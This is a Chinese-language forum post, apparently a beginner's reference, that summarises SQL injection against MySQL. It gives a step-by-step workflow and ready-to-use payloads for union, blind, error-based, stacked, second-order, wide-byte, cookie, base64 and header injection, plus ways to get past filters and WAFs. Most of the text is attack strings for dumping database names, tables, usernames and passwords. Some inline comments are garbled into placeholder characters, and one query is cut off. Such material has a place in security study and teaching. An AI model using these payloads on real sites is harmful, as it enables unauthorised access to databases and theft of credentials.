SQL 注入总结

wkend / 2018-10-10 21:18:20 / 浏览数 7331 新手 入门资料 顶(6) 踩(0)

0x01 什么是SQL注入

sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术。

0x02 SQL注入的分类

按变量类型分

- 数字型
- 字符型

按HTTP提交方式分

- GET注入
- POST注入
- Cookie注入

按注入方式分

- 报错注入
- 盲注
  - 布尔盲注
  - 时间盲注
- union注入

编码问题

- 宽字节注入

0x03识别后台数据库

根据操作系统平台

sql server：Windows（IIS)

MySQL：Apache

根据web语言

Microsoft SQL Server：ASP和.Net

MySQL：PHP

Oracle/MySQL：java

(以下是对mysql数据库的总结，其他类型数据库会不定时更新)

0x04 MySQL 5.0以上和MySQL 5.0以下版本的区别

MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库--INFORMATION_SCHEMA
，其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。 而5.0以下没有。

information_schema

系统数据库，记录当前数据库的数据库，表，列，用户权限等信息

SCHEMATA

储存mysql所有数据库的基本信息，包括数据库名，编码类型路径等

TABLES

储存mysql中的表信息，包括这个表是基本表还是系统表，数据库的引擎是什么，表有多少行，创建时间，最后更新时间等

COLUMNS

储存mysql中表的列信息，包括这个表的所有列以及每个列的信息，该列是表中的第几列，列的数据类型，列的编码类型，列的权限，列的注释等

0x05 基本手工注入流程

要从select语句中获得有用的信息，必须确定该数据库中的字段数和那个字段能够输出，这是前提。

1. MySQL >= 5.0

（1）获取字段数

```
order by n  /*■■■■■■■■■n■■■■■■■■■■■■■■■*/
```

（2）获取系统数据库名

在MySQL >5.0中，数据库名存放在information_schema数据库下schemata表schema_name字段中

```
select null,null,schema_name from information_schema.schemata
```

（3）获取当前数据库名

```
select null,null,...,database()
```

（4）获取数据库中的表

```
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
```

或

```
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
```

（5）获取表中的字段

这里假设已经获取到表名为user

```
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='u
```

（6）获取各个字段值

这里假设已经获取到表名为user，且字段为username和password

```
select null,group_concat(username,password) from users
```

2.MySQL < 5.0

MySQL < 5.0 没有信息数据库information_schema，所以只能手工枚举爆破（二分法思想）。

该方式通常用于盲注。

相关函数

length(str) ：返回字符串str的长度

substr(str, pos, len) ：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始

mid(str,pos,len) ：跟上面的一样，截取字符串

ascii(str) ：返回字符串str的最左面字符的ASCII代码值

ord(str) ：将字符或布尔类型转成ascll码

if(a,b,c) ：a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0

（1）基于布尔的盲注

```
and ascii(substr((select database()),1,1))>64 /*■■■■■■■■■■■■■■ascii■■■■■■64*/
```

（2）基于时间的盲注

```
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*■■■■■■■■■■■■■■■■■■■■■4■■■■■■1*/
```

0x06 常用注入方式

注释符：

```
#
-- (■■■)■--+
/**/
```

内联注释：

```
/*■...*/
```

union注入

```
id =-1 union select 1,2,3   /*■■■■*/
```

Boolean注入

```
id=1' substr(database(),1,1)='t'--+     /*■■■■■■■*/
```

报错注入

1 floor()和rand()

```
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
```

2 extractvalue()

```
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
```

3 updatexml()

```
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
```

4 geometrycollection()

```
id=1 and geometrycollection((select * from(select * from(select user())a)b))
```

5 multipoint()

```
id=1 and multipoint((select * from(select * from(select user())a)b))
```

6 polygon()

```
id=1 and polygon((select * from(select * from(select user())a)b))
```

7 multipolygon()

```
id=1 and multipolygon((select * from(select * from(select user())a)b))
```

8 linestring()

```
id=1 and linestring((select * from(select * from(select user())a)b))
```

9 multilinestring()

```
id=1 and multilinestring((select * from(select * from(select user())a)b))
```

10 exp()

```
id=1 and exp(~(select * from(select user())a))
```

时间注入

```
id = 1 and if(length(database())>1,sleep(5),1)
```

堆叠查询注入

```
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23
```

二次注入

假如在如下场景中，我们浏览一些网站的时候，可以现在注册见页面注册username=test'，接下来访问xxx.php?username=test'，页面返回id=22；

接下来再次发起请求xxx.php?id=22，这时候就有可能发生sql注入，比如页面会返回MySQL的错误。

访问xxx.php?id=test' union select 1,user(),3%23，获得新的id=40，得到user()的结果，利用这种注入方式会得到数据库中的值。

宽字节注入

利用条件：

- [ ] 查询参数是被单引号包围的，传入的单引号又被转义符()转义，如在后台数据库中对接受的参数使用addslashes()或其过滤函数
- [ ] 数据库的编码为GBK

利用方式

```
id = -1%DF' union select 1,user(),3,%23
```

在上述条件下，单引号'被转义为%5c，所以就构成了%df%5c，而在GBK编码方式下，%df%5c是一个繁体字"連"，所以单引号成功逃逸。

Cookie注入

当发现在url中没有请求参数，单数却能得到结果的时候，可以看看请求参数是不是在cookie中，然后利用常规注入方式在cookie中注入测试即可，只是注入的位置在cookie

```
Cookie: id = 1 and 1=1
```

base64注入

对参数进行base64编码，再发送请求。

说明：id=1'，1的base64编码为MSc=，而=的url编码为%3d，所以得到以下结果：

```
id=MSc%3d
```

XFF注入

XFF(X-Forward-For)，简称XFF头，它代表客户端真实的ip地址

```
X-Forward-For■127.0.0.1' select 1,2,user()
```

0x07 SQL注入绕过技术

大小写绕过

双写绕过

编码绕过（url全编码、十六进制）

内联注释绕过

关键字替换

逗号绕过

substr、mid()函数中可以利用from to来摆脱对逗号的利用；

limit中可以利用offset来摆脱对逗号的利用

比较符号(>、<)绕过（greatest、between and)

逻辑符号的替换（and=&& or=|| xor=| not=!）

空格绕过（用括号，+等绕过）

等价函数绕过

- hex()、bin()=ascii()
- concat_ws()=group_concat()
- mid()、substr()=substring()

http参数污染（`id=1 union select+1,2,3+from+users+where+id=1-`变为`id=1 union select+1&id=2,3+from+users+where+id=1-`）

缓冲区溢出绕过 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值，其实这种方法还对后缀名的绕过也有用)

上一篇：linux内存管理中的缓存失效漏洞 下一篇：Panda Banker银行木马分析

1. 1 条回复

sket****pl4ne 2019-07-17 16:29:30

总结得很全面，正需要！

0 回复Ta
